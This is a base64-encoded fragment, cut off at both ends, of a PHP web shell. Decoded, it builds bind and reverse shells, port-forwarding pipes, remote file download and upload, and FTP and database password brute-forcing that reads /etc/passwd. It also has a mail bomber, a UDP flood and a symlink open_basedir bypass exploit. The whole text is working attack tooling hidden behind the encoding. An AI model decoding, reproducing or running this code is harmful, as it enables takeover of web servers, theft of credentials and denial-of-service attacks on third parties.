bmFtZSddLCRfUE9TVFsnZV90ZXh0J10pOw0KIEB0b3VjaCgkX1BPU1RbJ2VfbmFtZSddLCRtdGltZSwkbXRpbWUpOw0KICRfUE9TVFsnY21kJ109IiI7DQogZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGNsYXNzPWhlYWQ+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDUnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KIH0NCiB9DQogDQogDQppZiAoIWVtcHR5KCRfUE9TVFsncHJveHlfcG9ydCddKSYmKCRfUE9TVFsndXNlJ109PSJQZXJsIikpDQp7DQogY2YoIi90bXAvcHJ4cGwiLCRwcnhfcGwpOw0KICRwMj13aGljaCgicGVybCIpOw0KICRibGFoID0gZXgoJHAyLiIgL3RtcC9wcnhwbCAiLiRfUE9TVFsncHJveHlfcG9ydCddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIHByeHBsIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iQyIpKQ0Kew0KIGNmKCIvdG1wL2JkLmMiLCRwb3J0X2JpbmRfYmRfYyk7DQogJGJsYWggPSBleCgiZ2NjIC1vIC90bXAvYmQgL3RtcC9iZC5jIik7DQogQHVubGluaygiL3RtcC9iZC5jIik7DQogJGJsYWggPSBleCgiL3RtcC9iZCAiLiRfUE9TVFsncG9ydCddLiIgIi4kX1BPU1RbJ2JpbmRfcGFzcyddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGJkIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KIGNmKCIvdG1wL2JkcGwiLCRwb3J0X2JpbmRfYmRfcGwpOw0KICRwMj13aGljaCgicGVybCIpOw0KICRibGFoID0gZXgoJHAyLiIgL3RtcC9iZHBsICIuJF9QT1NUWydwb3J0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgYmRwbCI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkNCnsNCiBjZigiL3RtcC9iYWNrIiwkYmFja19jb25uZWN0KTsNCiAkcDI9d2hpY2goInBlcmwiKTsNCiAkYmxhaCA9IGV4KCRwMi4iIC90bXAvYmFjayAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2lwJ10uIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IkMiKSkNCnsNCiBjZigiL3RtcC9iYWNrLmMiLCRiYWNrX2Nvbm5lY3RfYyk7DQogJGJsYWggPSBleCgiZ2NjIC1vIC90bXAvYmFja2MgL3RtcC9iYWNrLmMiKTsNCiBAdW5saW5rKCIvdG1wL2JhY2suYyIpOw0KICRibGFoID0gZXgoIi90bXAvYmFja2MgIi4kX1BPU1RbJ2lwJ10uIiAiLiRfUE9TVFsncG9ydCddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109ImVjaG8gXCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJF9QT1NUWydpcCddLiIgcG9ydCAiLiRfUE9TVFsncG9ydCddLiIgLi4uXCIiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2xvY2FsX3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX2hvc3QnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpDQp7DQogY2YoIi90bXAvZHAiLCRkYXRhcGlwZV9wbCk7DQogJHAyPXdoaWNoKCJwZXJsIik7DQogJGJsYWggPSBleCgkcDIuIiAvdG1wL2RwICIuJF9QT1NUWydsb2NhbF9wb3J0J10uIiAiLiRfUE9TVFsncmVtb3RlX2hvc3QnXS4iICIuJF9QT1NUWydyZW1vdGVfcG9ydCddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGRwIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydsb2NhbF9wb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9ob3N0J10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9wb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iQyIpKQ0Kew0KIGNmKCIvdG1wL2RwYy5jIiwkZGF0YXBpcGVfYyk7DQogJGJsYWggPSBleCgiZ2NjIC1vIC90bXAvZHBjIC90bXAvZHBjLmMiKTsNCiBAdW5saW5rKCIvdG1wL2RwYy5jIik7DQogJGJsYWggPSBleCgiL3RtcC9kcGMgIi4kX1BPU1RbJ2xvY2FsX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9ob3N0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgZHBjIjsNCn0NCiANCmlmICghZW1wdHkoJF9QT1NUWydhbGlhcyddKSAmJiBpc3NldCgkYWxpYXNlc1skX1BPU1RbJ2FsaWFzJ11dKSkgeyAkX1BPU1RbJ2NtZCddID0gJGFsaWFzZXNbJF9QT1NUWydhbGlhcyddXTsgfQ0KIA0KZm9yKCR1cGw9MDskdXBsPD0xNjskdXBsKyspDQp7DQogaWYoIWVtcHR5KCRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJy4kdXBsXVsnbmFtZSddKSl7DQogIGlmKCFlbXB0eSgkX1BPU1RbJ25ld19uYW1lJ10pICYmICgkdXBsPT0wKSkgeyAkbmZuID0gJF9QT1NUWyduZXdfbmFtZSddOyB9DQogIGVsc2UgeyAkbmZuID0gJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnLiR1cGxdWyduYW1lJ107IH0NCiAgQG1vdmVfdXBsb2FkZWRfZmlsZSgkSFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZScuJHVwbF1bJ3RtcF9uYW1lJ10sJF9QT1NUWydkaXInXS4iLyIuJG5mbikNCiAgb3IgcHJpbnQoIjxmb250IGNvbG9yPXJlZCBmYWNlPUZpeGVkc3lzPjxkaXYgYWxpZ249Y2VudGVyPkVycm9yIHVwbG9hZGluZyBmaWxlICIuJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnLiR1cGxdWyduYW1lJ10uIjwvZGl2PjwvZm9udD4iKTsNCiB9DQp9DQogDQppZiAoIWVtcHR5KCRfUE9TVFsnd2l0aCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1fZmlsZSddKSAmJiAhZW1wdHkoJF9QT1NUWydsb2NfZmlsZSddKSkNCnsNCiBzd2l0Y2goJF9QT1NUWyd3aXRoJ10pDQogew0KIGNhc2UgJ2ZvcGVuJzoNCiAkZGF0YWZpbGUgPSBAaW1wbG9kZSgiIiwgQGZpbGUoJF9QT1NUWydyZW1fZmlsZSddKSk7DQogaWYoJGRhdGFmaWxlKQ0KICB7DQogICAkd19maWxlPUBmb3BlbigkX1BPU1RbJ2xvY19maWxlJ10sIndiIikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKSBvciBlcnIoMCk7DQogICBpZigkd19maWxlKQ0KICAgew0KICAgIEBmd3JpdGUoJHdfZmlsZSwkZGF0YWZpbGUpIG9yIEBmcHV0cygkd19maWxlLCRkYXRhZmlsZSkgb3IgQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsnbG9jX2ZpbGUnXSwkZGF0YWZpbGUpOw0KICAgIEBmY2xvc2UoJHdfZmlsZSk7DQogICB9DQogIH0NCiAkX1BPU1RbJ2NtZCddID0gJyc7DQogYnJlYWs7DQogY2FzZSAnd2dldCc6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCd3Z2V0JykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIC1PICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgJ2ZldGNoJzoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2ZldGNoJykuIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIC1wICIuJF9QT1NUWydyZW1fZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgJ2x5bngnOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnbHlueCcpLiIgLXNvdXJjZSAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSAnbGlua3MnOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiA+ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgJ0dFVCc6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdHRVQnKS4iICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlICdjdXJsJzoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2N1cmwnKS4iICIuJF9QT1NUWydyZW1fZmlsZSddLiIgLW8gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogfQ0KfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICgoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX3VwIikgfHwgKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIikpKQ0KIHsNCiBsaXN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCkgPSBzcGxpdCgiOiIsJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk7DQogaWYoZW1wdHkoJGZ0cF9wb3J0KSkgeyAkZnRwX3BvcnQgPSAyMTsgfQ0KICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0ICgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTApOw0KIGlmKCEkY29ubmVjdGlvbikgeyBlcnIoMyk7IH0NCiBlbHNlIA0KICB7ICAgDQogIGlmKCFAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2xvZ2luJ10sJF9QT1NUWydmdHBfcGFzc3dvcmQnXSkpIHsgZXJyKDQpOyB9DQogIGVsc2UgDQogICB7DQogICBpZigkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfZG93biIpIHsgaWYoY2hvcCgkX1BPU1RbJ2xvY19maWxlJ10pPT0kZGlyKSB7ICRfUE9TVFsnbG9jX2ZpbGUnXT0kZGlyLigoISR1bml4KT8oJ1xcJyk6KCcvJykpLmJhc2VuYW1lKCRfUE9TVFsnZnRwX2ZpbGUnXSk7IH0gQGZ0cF9nZXQoJGNvbm5lY3Rpb24sJF9QT1NUWydsb2NfZmlsZSddLCRfUE9TVFsnZnRwX2ZpbGUnXSwkX1BPU1RbJ21vZGUnXSk7fQ0KICAgaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX3VwIikgICB7IEBmdHBfcHV0KCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2ZpbGUnXSwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydtb2RlJ10pO30NCiAgIH0NCiAgfQ0KIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KICRfUE9TVFsnY21kJ10gPSAiIjsNCiB9DQogDQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgKCgkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIikgfHwgKCRfUE9TVFsnY21kJ109PSJkYl9icnV0ZSIpKSkNCiB7DQogaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpew0KICBsaXN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCkgPSBzcGxpdCgiOiIsJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk7DQogIGlmKGVtcHR5KCRmdHBfcG9ydCkpIHsgJGZ0cF9wb3J0ID0gMjE7IH0NCiAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QgKCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7DQogfWVsc2UgaWYoJF9QT1NUWydjbWQnXT09ImRiX2JydXRlIil7DQogICAkY29ubmVjdGlvbiA9IDE7DQogfQ0KIGlmKCEkY29ubmVjdGlvbikgeyBlcnIoMyk7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQ0KIGVsc2UgaWYoKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdwYXNzd2QnKSAmJiAoISR1c2Vycz1nZXRfdXNlcnMoJy9ldGMvcGFzc3dkJykpKXsgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGNsYXNzPWhlYWQ+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsgJF9QT1NUWydjbWQnXSA9ICIiOyB9DQogZWxzZSBpZigoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J2RpYycpICYmICghJHVzZXJzPWdldF91c2VycygkX1BPU1RbJ2RpY3Rpb25hcnknXSkpKXsgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGNsYXNzPWhlYWQ+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPkNhblwndCBnZXQgcGFzc3dvcmQgbGlzdDwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsgJF9QT1NUWydjbWQnXSA9ICIiOyB9DQogaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpe0BmdHBfY2xvc2UoJGNvbm5lY3Rpb24pO30NCiB9DQogDQplY2hvICR0YWJsZV91cDM7DQppZiAoZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgISRzYWZlX21vZGUgJiYgISRvcGVuX2Jhc2VkaXIpIHsgJF9QT1NUWydjbWQnXT0oISR1bml4KT8oImRpciIpOigibHMgLWxpYSIpOyB9DQplbHNlIGlmKGVtcHR5KCRfUE9TVFsnY21kJ10pICYmICgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpKXsgJF9QT1NUWydjbWQnXT0ic2FmZV9kaXIiOyB9DQplY2hvICRmb250LiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxJ10uIjogPGI+Ii4kX1BPU1RbJ2NtZCddLiI8L2I+PC9mb250PjwvdGQ+PC90cj48dHI+PHRkPjxiPjxkaXYgYWxpZ249Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPXJlcG9ydCBjb2xzPTEyMSByb3dzPTE1PiI7DQppZigkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpDQp7DQogc3dpdGNoKCRfUE9TVFsnY21kJ10pDQogew0KIGNhc2UgJ3NhZmVfZGlyJzoNCiAgJGQ9QGRpcigkZGlyKTsNCiAgaWYgKCRkKQ0KICAgew0KICAgd2hpbGUgKGZhbHNlIT09KCRmaWxlPSRkLT5yZWFkKCkpKQ0KICAgIHsNCiAgICAgaWYgKCRmaWxlPT0iLiIgfHwgJGZpbGU9PSIuLiIpIGNvbnRpbnVlOw0KICAgICBAY2xlYXJzdGF0Y2FjaGUoKTsNCiAgICAgQGxpc3QgKCRkZXYsICRpbm9kZSwgJGlub2RlcCwgJG5saW5rLCAkdWlkLCAkZ2lkLCAkaW5vZGV2LCAkc2l6ZSwgJGF0aW1lLCAkbXRpbWUsICRjdGltZSwgJGJzaXplKSA9IHN0YXQoJGZpbGUpOw0KICAgICBpZighJHVuaXgpeyANCiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmkiLCRtdGltZSk7DQogICAgIGlmKEBpc19kaXIoJGZpbGUpKSBlY2hvICIgIDxESVI+ICI7IGVsc2UgcHJpbnRmKCIlIDdzICIsJHNpemUpOw0KICAgICB9DQogICAgIGVsc2V7IA0KICAgICBpZihAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKXsNCiAgICAgICRvd25lciA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgICRncmdpZCA9IEBwb3NpeF9nZXRncmdpZCgkZ2lkKTsNCiAgICAgfWVsc2V7JG93bmVyWyduYW1lJ109JGdyZ2lkWyduYW1lJ109Jyc7fQ0KICAgICBlY2hvICRpbm9kZS4iICI7DQogICAgIGVjaG8gcGVybXMoQGZpbGVwZXJtcygkZmlsZSkpOw0KICAgICBAcHJpbnRmKCIlIDRkICUgOXMgJSA5cyAlN3MgIiwkbmxpbmssJG93bmVyWyduYW1lJ10sJGdyZ2lkWyduYW1lJ10sJHNpemUpOw0KICAgICBlY2hvIGRhdGUoImQubS5ZIEg6aSAiLCRtdGltZSk7DQogICAgIH0NCiAgICAgZWNobyAiJGZpbGVcbiI7DQogICAgfQ0KICAgJGQtPmNsb3NlKCk7DQogICB9DQogIGVsc2UgaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ2xvYicpKQ0KICAgeyANCiAgICAgICBmdW5jdGlvbiBlaCgkZXJybm8sICRlcnJzdHIsICRlcnJmaWxlLCAkZXJybGluZSkNCiAgICAgICAgew0KICAgICAgICAgIGdsb2JhbCAkRCwgJGMsICRpOyANCiAgICAgICAgICBwcmVnX21hdGNoKCIvU0FGRVwgTU9ERVwgUmVzdHJpY3Rpb25cIGluXCBlZmZlY3RcLi4qd2hvc2VcIHVpZFwgaXMoLiopaXNcIG5vdFwgYWxsb3dlZFwgdG9cIGFjY2VzcyguKilvd25lZCBieSB1aWQoLiopLyIsICRlcnJzdHIsICRvKTsgDQogICAgICAgICAgaWYoJG8peyAkRFskY10gPSAkb1syXTsgJGMrKzt9IA0KICAgICAgICB9DQogICAgICAgJGVycm9yX3JlcG9ydGluZyA9IEBpbmlfZ2V0KCdlcnJvcl9yZXBvcnRpbmcnKTsNCiAgICAgICBlcnJvcl9yZXBvcnRpbmcoRV9XQVJOSU5HKTsgDQogICAgICAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgMSk7IA0KICAgICAgICRyb290ID0gIi8iOyANCiAgICAgICBpZigkZGlyKSAkcm9vdCA9ICRkaXI7IA0KICAgICAgICRjID0gMDsgJEQgPSBhcnJheSgpOyANCiAgICAgICBAc2V0X2Vycm9yX2hhbmRsZXIoImVoIik7IA0KICAgICAgICRjaGFycyA9ICJfLS4wMTIzNDU2Nzg5MGFiY2RlZmdoaWprbG5tb3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiOyANCiAgICAgICBmb3IoJGk9MDsgJGkgPCBzdHJsZW4oJGNoYXJzKTsgJGkrKykNCiAgICAgICB7DQogICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfSI7IA0KICAgICAgICAkcHJldkQgPSAkRFtjb3VudCgkRCktMV07IA0KICAgICAgICBAZ2xvYigkcGF0aC4iKiIpOyANCiAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RCkNCiAgICAgICAgIHsNCiAgICAgICAgICAgZm9yKCRqPTA7ICRqIDwgc3RybGVuKCRjaGFycyk7ICRqKyspDQogICAgICAgICAgIHsNCiAgICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfSI7IA0KICAgICAgICAgICAgJHByZXZEMiA9ICREW2NvdW50KCREKS0xXTsgDQogICAgICAgICAgICBAZ2xvYigkcGF0aC4iKiIpOyANCiAgICAgICAgICAgIGlmKCREW2NvdW50KCREKS0xXSAhPSAkcHJldkQyKQ0KICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgZm9yKCRwPTA7ICRwIDwgc3RybGVuKCRjaGFycyk7ICRwKyspDQogICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1skcF19IjsgDQogICAgICAgICAgICAgICAgJHByZXZEMyA9ICREW2NvdW50KCREKS0xXTsgDQogICAgICAgICAgICAgICAgQGdsb2IoJHBhdGguIioiKTsgDQogICAgICAgICAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RDMpDQogICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgIGZvcigkcj0wOyAkciA8IHN0cmxlbigkY2hhcnMpOyAkcisrKQ0KICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1skcF19eyRjaGFyc1skcl19IjsgDQogICAgICAgICAgICAgICAgICAgIEBnbG9iKCRwYXRoLiIqIik7IA0KICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgIH0gICAgICAgIA0KICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICB9ICAgICAgICANCiAgICAgICAgICAgfSAgICANCiAgICAgICAgIH0gDQogICAgICAgfSANCiAgICAgICAkRCA9IGFycmF5X3VuaXF1ZSgkRCk7IA0KICAgICAgIGZvcmVhY2goJEQgYXMgJGl0ZW0pIGVjaG8gaHRtbHNwZWNpYWxjaGFycygieyRpdGVtfSIpLiJcclxuIjsgDQogICAgICAgZXJyb3JfcmVwb3J0aW5nKCRlcnJvcl9yZXBvcnRpbmcpOw0KICAgfQ0KICBlbHNlIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI5J107DQogYnJlYWs7DQogIGNhc2UgJ3Rlc3QxJzoNCiAgJGNpID0gQGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWyd0ZXN0MV9maWxlJ10pOw0KICAkY2YgPSBAY3VybF9leGVjKCRjaSk7DQogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY2YpOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDInOg0KICBAaW5jbHVkZSgkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0NjEnOg0KICAgc2V0X3RpbWVfbGltaXQoOTk5KTsNCiAgICR0bz0kX1BPU1RbJ21haWxfdG8nXTsNCiAgICRmcm9tPSRfUE9TVFsnbWFpbF9mcm9tJ107DQogICAkbXNnPSRfUE9TVFsnbWFpbF9tc2cnXTsNCiAgICR0b3BpYz0kX1BPU1RbJ21haWxfdG9waWMnXTsNCiAgICRoZWFkZXJzID0gIk1JTUUtVmVyc2lvbjogMS4wIiAuICJcclxuIjsNCiAgICRoZWFkZXJzIC49ICJDb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9aXNvLTg4NTktMSIgLiAiXHJcbiI7IA0KICAgJGhlYWRlcnMgLj0gIkZyb206ICIgLiAkZnJvbSAuICIgPCIgLiAkZnJvbSAuICI+IiAuICJcclxuIjsNCiAgICAkaT0kX1BPU1RbJ21haWxfaWxlJ107IHdoaWxlKCRpLS0pIHsgDQogICAgICBtYWlsKCR0bywgJHRvcGljLCAkbXNnLCAkaGVhZGVycyk7DQogICAgfQ0KICBlY2hvKCdXeXNsYW5vICcuJF9QT1NUWydtYWlsX2lsZSddLicgbWFpbGkgbmEgYWRyZXM6ICcuJHRvKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q2Nic6DQogICR0ZXN0NjZfdGFyZ2V0PSRfUE9TVFsndGVzdDY2X3RhcmdldCddOw0KICAkdGVzdDY2X3RpbWU9JF9QT1NUWyd0ZXN0NjZfdGltZSddOw0KICAkdGVzdDY2X3BvcnQ9JF9QT1NUWyd0ZXN0NjZfcG9ydCddOw0KICBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCiAgc2V0X3RpbWVfbGltaXQoKGludCkkdGVzdDY2X3RpbWUrMSk7DQogICRtYXhUaW1lID0gdGltZSgpICsgKGludCkkdGVzdDY2X3RpbWU7DQogICRmcCA9IGZzb2Nrb3BlbigidWRwOi8vIi4kdGVzdDY2X3RhcmdldCwgKGludCkkdGVzdDY2X3BvcnQpOw0KICBpZiAoISRmcCkgew0KICAgIGVjaG8gIkVSUk9SIjsNCiAgfQ0KICAgJGRhdGEgPSAnJzsNCiAgZm9yICgkaSA9IDA7ICRpIDwgMTQwMDsgJGkrKykNCiAgew0KICAgICAkZGF0YSAuPSBjaHIocmFuZCgwLCAyNTUpKTsNCiAgfQ0KDQoNCiAgd2hpbGUgKHRydWUpIHsNCiAgICBpZiAoIHRpbWUoKSA+ICRtYXhUaW1lICkgew0KICAgICAgICBicmVhazsNCiAgICB9ICAgIA0KICAgIGlmICgkZnApIHsNCiAgICAgICAgZndyaXRlKCRmcCwgJGRhdGEpOw0KICAgIH0NCiAgfQ0KZmNsb3NlKCRmcCk7aWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7DQplY2hvKCdVRFAgRkxPT0Qgb24gJy4kdGVzdDY2X3RhcmdldC4nOicuJHRlc3Q2Nl9wb3J0LicgY29tcGxldGUuJyk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0NjknOg0KCS8qDQoJUEhQIDUuMi4xMi81LjMuMSBzeW1saW5rKCkgb3Blbl9iYXNlZGlyIGJ5cGFzcyANCglieSBNYWtzeW1pbGlhbiBBcmNpZW1vd2ljeiBodHRwOi8vc2VjdXJpdHlyZWFzb24uY29tLw0KCWN4aWIgWyBhLlRdIHNlY3VyaXR5cmVhc29uIFsgZDB0XSBjb20NCglDSFVKV0FNV01VWkcNCgkqLw0KJGZha2VkaXI9ImN4IjsNCiRmYWtlZGVwPTE2Ow0KJG51bT0wOyAvLyBvZmZzZXQgb2Ygc3ltbGluay4kbnVtDQokdGVzdDY5X2ZpbGU9JF9QT1NUWyd0ZXN0NjlfZmlsZSddOw0KaWYoZW1wdHkoJHRlc3Q2OV9maWxlKSkNCiAgZXhpdDsNCmlmKCFpc193cml0YWJsZSgiLiIpKQ0KICBkaWUoIm5vdCB3cml0YWJsZSBkaXJlY3RvcnkiKTsNCiRsZXZlbD0wOw0KZm9yKCRhcz0wOyRhczwkZmFrZWRlcDskYXMrKyl7DQogIGlmKCFmaWxlX2V4aXN0cygkZmFrZWRpcikpDQogIG1rZGlyKCRmYWtlZGlyKTsNCiAgY2hkaXIoJGZha2VkaXIpOw0KfQ0KICB3aGlsZSgxPCRhcy0tKSBjaGRpcigiLi4iKTsNCiAgICRoYXJkc3R5bGUgPSBleHBsb2RlKCIvIiwgJHRlc3Q2OV9maWxlKTsNCiAgZm9yKCRhPTA7JGE8Y291bnQoJGhhcmRzdHlsZSk7JGErKyl7DQogICBpZighZW1wdHkoJGhhcmRzdHlsZVskYV0pKXsNCiAgICBpZighZmlsZV9leGlzdHMoJGhhcmRzdHlsZVskYV0pKSANCiAgICBta2RpcigkaGFyZHN0eWxlWyRhXSk7DQogICAgY2hkaXIoJGhhcmRzdHlsZVskYV0pOw0KICAgICRhcysrOw0KICAgfQ0KICB9DQogICRhcysrOw0KICB3aGlsZSgkYXMtLSkNCiAgY2hkaXIoIi4uIik7DQogIEBybWRpcigiZmFrZXN5bWxpbmsiKTsNCiAgQHVubGluaygiZmFrZXN5bWxpbmsiKTsNCiAgQHN5bWxpbmsoc3RyX3JlcGVhdCgkZmFrZWRpci4iLyIsJGZha2VkZXApLCJmYWtlc3ltbGluayIpOw0KICB3aGlsZSgxKQ0KICBpZih0cnVlPT0oQHN5bWxpbmsoImZha2VzeW1saW5rL